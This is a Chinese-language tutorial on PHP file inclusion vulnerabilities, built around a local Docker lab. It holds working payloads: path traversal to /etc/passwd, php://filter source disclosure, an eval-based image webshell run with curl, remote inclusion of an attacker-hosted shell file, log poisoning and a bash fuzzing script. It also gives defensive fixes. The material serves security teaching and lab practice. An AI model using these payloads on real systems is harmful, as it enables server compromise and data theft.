Web安全实战:文件包含漏洞原理、利用与靶场复现 这次我们来看一个 Web 安全领域的核心漏洞类型文件包含。这不是某个具体的工具或模型而是一个在 CTF 比赛、渗透测试和代码审计中频繁出现的关键攻击面。对于开发者而言理解文件包含漏洞的原理、利用方式和防御手段是构建安全 Web 应用的基本功对于安全爱好者或学习者掌握它则是通往 Web 安全实战的必经之路。本文不会空谈理论而是直接切入实战。我们将围绕“[青岑网安]Web文件包含-1”这个主题拆解文件包含漏洞的成因、分类、本地与远程包含的利用手法并提供一个可复现的靶场环境搭建与测试流程。重点在于“能不能用”和“怎么用”——即如何快速识别漏洞点、构造有效的攻击载荷、获取敏感信息或系统权限以及最终如何修复。无论你是正在学习 CTF 的选手还是希望提升代码安全性的开发者这篇文章都能提供一套清晰的实战指南。1. 核心能力速览文件包含漏洞是什么在深入细节前我们先通过一个表格快速了解文件包含漏洞的核心要素。这能帮你快速判断自己是否遇到了此类问题以及它的潜在危害有多大。能力项说明漏洞类型Web 应用程序安全漏洞OWASP Top 10 相关主要成因应用程序动态包含文件时未对用户输入进行严格过滤。关键函数PHP:include,require,include_once,require_once其他语言JSP/Servlet 的% include file... %, ASP 的!--#include file... --等利用目标读取服务器敏感文件如/etc/passwd、执行任意代码、获取 WebShell。测试门槛极低。仅需一个存在漏洞的 Web 应用靶场和浏览器或命令行工具如 curl。危害等级高危。可能导致服务器被完全控制。适合场景CTF 解题、渗透测试、代码审计学习、安全开发意识培训。简单来说文件包含漏洞就像一扇本应只对内部开放的门但因为门锁输入过滤坏了攻击者可以指定打开任意一扇门文件甚至从外面远程服务器搬一扇危险的门进来。2. 适用场景与使用边界这个漏洞知识适合谁Web 安全初学者作为理解动态代码执行的经典案例。CTF 参赛者文件包含是 Web 类题目的高频考点常与目录遍历、PHP 伪协议、日志注入等结合。渗透测试人员在授权测试中用于发现和验证目标系统的安全隐患。后端开发者了解漏洞成因从而在编码中避免同类错误实现安全开发。能解决什么问题漏洞识别快速判断一个 Web 功能点如?pageabout.php是否存在文件包含漏洞。渗透利用在授权测试环境中通过漏洞获取敏感信息、执行命令验证风险。代码审计在源代码中定位不安全的文件包含函数调用评估风险。安全加固为开发团队提供明确、可落地的修复方案。不适合什么场景非法攻击严禁在未获得明确授权的情况下对任何线上系统进行文件包含漏洞测试或利用。这是违法行为。模糊测试对未知系统进行盲目的文件包含参数 Fuzzing可能触犯法律并产生不可预知的风险。替代其他测试文件包含是专项测试不能替代全面的安全评估。安全与合规边界所有后续的演示和操作必须且仅限在你自己搭建的本地靶场环境或明确授权的测试环境中进行。本文提供的所有 Payload 和技巧仅用于教育、研究和授权下的安全测试。3. 环境准备与前置条件为了安全、合法地进行学习我们需要搭建一个本地测试环境。这里推荐使用 Docker因为它能快速构建一个包含漏洞的、与宿主隔离的 Web 应用。基础环境要求操作系统Windows 10/11, macOS, 或 Linux 发行版如 Ubuntu, CentOS。Docker Docker Compose这是最便捷的方式。确保你的系统已安装 Docker 和 Docker Compose。浏览器Chrome, Firefox 等现代浏览器用于访问 Web 界面。命令行工具系统终端Linux/macOS 的 TerminalWindows 的 PowerShell 或 CMD以及curl工具用于 API 式测试。验证 Docker 环境打开终端运行以下命令检查 Docker 是否就绪。# 检查 Docker 版本 docker --version # 检查 Docker Compose 版本 docker-compose --version如果命令成功返回版本号说明环境已就绪。如果未安装请前往 Docker 官网下载安装对应系统的 Docker Desktop。4. 靶场部署与启动方式我们将使用一个经典的、专为学习文件包含漏洞设计的 Docker 靶场。这里以vulhub项目中的php-inclusion靶场为例因为它环境纯净漏洞典型。步骤 1获取靶场代码在终端中选择一个工作目录克隆或下载靶场配置。# 创建一个专门用于安全学习的目录 mkdir -p ~/security_labs cd ~/security_labs # 下载 vulhub 项目包含众多漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/php/inclusion如果网络原因无法克隆你也可以直接访问 vulhub 的 GitHub 仓库手动下载php/inclusion目录下的docker-compose.yml文件。步骤 2启动靶场服务在inclusion目录下使用 Docker Compose 一键启动漏洞环境。# 启动服务会自动拉取镜像并构建容器 docker-compose up -d命令执行后Docker 会从网络拉取 PHP 和 Apache 镜像并启动一个容器。-d参数表示在后台运行。步骤 3验证服务状态运行以下命令查看容器是否正常运行。# 查看正在运行的容器 docker ps你应该能看到一个名为vulhub_php-inclusion的容器状态为Up。同时该服务默认会映射到宿主机的8080端口。步骤 4访问靶场打开浏览器访问http://127.0.0.1:8080。如果看到类似 “File Inclusion” 或一个简单的网页界面说明靶场启动成功。启动方式总结一键启动docker-compose up -d服务访问http://127.0.0.1:8080停止服务在相同目录下运行docker-compose down查看日志docker-compose logs用于排查启动错误5. 漏洞原理与分类详解在开始测试前必须理解两种主要的文件包含类型本地文件包含LFI和远程文件包含RFI。它们的利用条件和危害程度不同。5.1 本地文件包含原理应用程序包含的是服务器本地的文件但攻击者可以通过目录遍历../等手法跳出预期的目录读取或执行系统上的任意文件。关键点allow_url_include配置为Off默认时只能包含本地文件。漏洞代码示例PHP?php $file $_GET[page]; // 用户可控输入例如 ?pageindex.php include($file . .php); // 未过滤直接拼接包含 ?利用思路通过?page../../../etc/passwd尝试读取系统密码文件。5.2 远程文件包含原理当 PHP 配置allow_url_include On时include或require函数可以包含远程服务器上的文件如http://evil.com/shell.txt。攻击者可以将恶意代码放在自己的服务器上让目标网站去包含并执行。危害直接获取 WebShell危害极大。漏洞代码示例?php $file $_GET[file]; include($file); // 直接包含未检查是否为本地文件 ?利用思路搭建一个存放 PHP 代码的远程服务器然后让目标包含?filehttp://your-ip/shell.txt。6. 功能测试与效果验证实战利用现在我们针对启动的靶场进行一步步的漏洞测试。假设靶场有一个参数?file用于包含文件。6.1 测试 1基础本地文件包含测试目的确认是否存在 LFI 漏洞并读取服务器上一个已知的敏感文件。操作步骤浏览器访问靶场首页观察 URL 结构。假设存在链接?fileshow.php。在 URL 中尝试包含系统文件。构造 Payloadhttp://127.0.0.1:8080/?file../../../../etc/passwd观察页面响应。预期结果与判断成功页面显示了/etc/passwd文件的内容包含root:x:0:0...等用户信息。这直接证明了 LFI 漏洞存在。失败显示错误或空白可能路径深度不对尝试增加或减少../的层级。可能靶场对../进行了过滤。尝试 URL 编码..%2F..%2F..%2F..%2Fetc%2Fpasswd可能参数名不是file需要查看页面源码或进行参数爆破。6.2 测试 2利用 PHP 伪协议PHP 内置了多种伪协议可以极大地扩展 LFI 的利用方式甚至在没有 RFI 的情况下执行代码。测试目的使用php://filter协议读取网页源码或使用php://input执行代码。操作步骤读取源码Payload:?filephp://filter/readconvert.base64-encode/resourceindex.php访问该 URL页面可能会显示一串 Base64 编码的字符串。复制这串编码使用 Base64 解码工具或命令行echo “编码字符串” | base64 -d进行解码即可得到index.php的源代码。这对于代码审计、寻找其他漏洞至关重要。预期结果获得经过 Base64 编码的 PHP 文件内容解码后能看到服务器端逻辑。6.3 测试 3结合文件上传获取 WebShell经典组合拳这是 LFI 漏洞危害升级的关键。如果网站同时存在文件上传功能且上传的文件会被保存到已知路径我们就可以先上传一个图片马图片中包含 PHP 代码再利用 LFI 漏洞去包含这个图片文件从而执行代码。测试目的在存在上传点的靶场中实现命令执行。操作流程制作图片马创建一个shell.jpg内容为?php eval($_POST[‘cmd’]);?。可以使用命令echo ‘?php phpinfo();?’ shell.jpg简单制作。上传文件找到靶场的上传功能上传shell.jpg。记录下上传后的访问路径例如/uploads/shell.jpg。LFI 包含访问?file./uploads/shell.jpg。如果配置允许其中的 PHP 代码将被执行。验证执行使用php://input或直接通过 POST 传递命令。例如用 curl 测试curl -X POST “http://127.0.0.1:8080/?file./uploads/shell.jpg” -d “cmdsystem(‘id’);”查看返回结果中是否包含当前运行进程的用户信息如uid33(www-data)。6.4 测试 4远程文件包含测试目的在allow_url_includeOn的极端配置下测试 RFI。前置条件需要一台具有公网 IP 或与靶场网络互通的服务器并在上面放置一个文本文件内容为 PHP 代码例如?php phpinfo();?。操作步骤在攻击机如你的 VPS上创建shell.txt并写入上述代码。用 Python 快速启动一个 HTTP 服务python3 -m http.server 8000。在靶场 URL 中尝试?filehttp://你的IP:8000/shell.txt观察靶场页面是否显示了phpinfo()的信息。注意现代 PHP 版本默认关闭此配置因此 RFI 在实际中较 LFI 更少见但一旦存在危害立竿见影。7. 接口化测试与批量 FUZZ在实战或 CTF 中我们常需要自动化测试多个参数或路径。这时命令行工具curl和脚本就派上用场了。7.1 使用 cURL 进行快速单点测试# 测试读取 /etc/passwd curl -s “http://127.0.0.1:8080/?file../../../etc/passwd” | grep -q “root:” echo “漏洞可能存在” # 测试 PHP Filter 协议读取源码并自动解码 curl -s “http://127.0.0.1:8080/?filephp://filter/readconvert.base64-encode/resourceindex.php” | base64 -ds参数表示静默模式-q用于安静地匹配。这可以快速集成到脚本中。7.2 简单的批量路径 FUZZ假设我们怀疑存在include(‘pages/’ . $file . ‘.php’);这样的代码我们可以 FUZZ$file参数尝试包含日志文件、会话文件等。 创建一个字典文件fuzz_dict.txt../../../../var/log/apache2/access.log ../../../../var/log/apache2/error.log ../../../../var/log/nginx/access.log ../../../../tmp/sess_abc123 /proc/self/environ .../...//etc/passwd使用简单的 Bash 脚本进行批量测试#!/bin/bash URL“http://127.0.0.1:8080” while IFS read -r line do response$(curl -s -o /dev/null -w “%{http_code}” “$URL/?file$line”) if [ “$response” -ne “404” ] [ “$response” -ne “500” ]; then echo “[] Potential Hit: $line (Status: $response)” curl -s “$URL/?file$line” | head -c 200 # 打印前200个字符看看内容 fi done fuzz_dict.txt这个脚本会测试字典中的每个路径并打印出响应状态码非 404/500 的潜在成功项。8. 资源占用与性能观察文件包含漏洞的测试本身对资源占用极低因为它本质上是 Web 请求。重点在于观察 Web 服务器的响应。CPU/内存占用单次包含请求消耗资源可忽略不计。但在进行自动化 FUZZ 时高频请求可能导致服务器 CPU 短暂升高。在授权测试中应注意频率避免 DoS。网络流量测试产生的流量很小主要取决于读取的文件大小如读取一个大的日志文件。日志增长你的测试行为会被记录在靶场 Web 服务器的访问日志中。在真实环境中攻击者的 IP、Payload 都会被记录这是溯源的关键。错误信息关注服务器的错误响应HTTP 500, 403 等和 PHP 报错信息。它们可能泄露服务器路径、配置等敏感信息为进一步利用提供线索。9. 常见问题与排查方法在测试过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案访问http://127.0.0.1:8080失败Docker 服务未启动或端口冲突docker ps查看容器状态netstat -tlnp | grep 8080查看端口占用重启服务docker-compose restart更换docker-compose.yml中的端口映射包含/etc/passwd返回空白或错误路径深度不对PHP 配置open_basedir限制尝试不同层数的../查看 PHP 错误日志使用绝对路径 FUZZ尝试包含 Web 目录内的已知文件如./index.php来校准路径php://filter协议返回乱码或无效输出被 HTML 实体编码或处理查看网页源代码CtrlU源代码中可能包含正确的 Base64 编码需从源码中提取并解码包含上传的图片马不执行代码PHP 配置未将.jpg文件作为 PHP 解析.htaccess或 Nginx 配置限制确认上传后的文件路径尝试包含php://input直接执行代码寻找其他可控制内容且会被包含的文件如日志文件、Session 文件RFI 测试无效返回警告信息allow_url_include配置为Off默认安全配置查看 PHP 信息或错误提示放弃 RFI专注于 LFI 和 PHP 伪协议的利用使用../被过滤或替换应用程序存在简单的输入过滤尝试双重编码..%252F..%252F使用绝对路径/etc/passwd尝试其他绕过技巧如....//、..\/等10. 最佳实践与安全加固建议作为攻击方在授权范围内测试要彻底作为防守方开发者防护要到位。对于渗透测试/CTF选手信息收集优先先通过正常功能、报错信息、源码泄露等尽可能收集目标路径、中间件、PHP 版本等信息。阶梯式测试先测试基础 LFI再尝试 PHP 伪协议最后结合其他漏洞如上传、日志进行组合利用。善用编码与绕过当直接输入被过滤时考虑 URL 编码、双重编码、超长路径截断PHP版本 5.3等技巧。利用日志文件/var/log/apache2/access.log或 Nginx 日志是常见的包含目标可将 PHP 代码写入 User-Agent 再包含该日志。自动化但要有度使用工具如 Burp Suite Intruder, ffuf进行 FUZZ 时设置合理的线程和间隔避免对测试目标造成影响。对于开发者白名单校验这是最有效的方法。定义一个允许包含的文件列表只允许包含列表内的文件。$allowed_pages [‘home.php’, ‘about.php’, ‘contact.php’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./pages/’ . $page); } else { include(‘./pages/error.php’); }避免动态包含如果可能使用静态映射或路由机制代替直接的用户输入包含。设置 PHP 安全配置allow_url_include Offallow_url_fopen Off设置open_basedir将 PHP 可操作的文件限制在网站根目录下。过滤输入如果必须动态包含严格过滤输入移除任何../,..\,php://,http://等危险字符。使用安全的函数考虑使用basename()函数获取文件名部分但注意它无法防御目录遍历。更新与补丁保持 PHP 和 Web 服务器Apache/Nginx为最新版本避免已知的解析漏洞。理解文件包含漏洞是打开 Web 安全实战大门的一把钥匙。它原理清晰利用链条多样从简单的信息泄露到复杂的远程代码执行清晰地展示了“输入不可信”这一安全原则被违反后的后果。最值得尝试的起点就是在本地用 Docker 快速搭建靶场亲手复现一次从 LFI 读取/etc/passwd到利用php://filter读取源码的过程。这个过程中最容易踩的坑往往是路径问题多尝试几种../的组合和编码方式通常能解决。掌握了基础之后下一步可以探索更高级的利用技巧比如如何通过包含/proc/self/environ或日志文件来获取 Shell或者在 CTF 中如何将文件包含与序列化、SQL 注入等漏洞结合。记住所有的学习和测试都必须在合法授权的环境下进行将知识用于加固系统而非破坏它。建议将本文中的命令和 Payload 保存下来在搭建的靶场中逐一验证这比单纯阅读要印象深刻得多。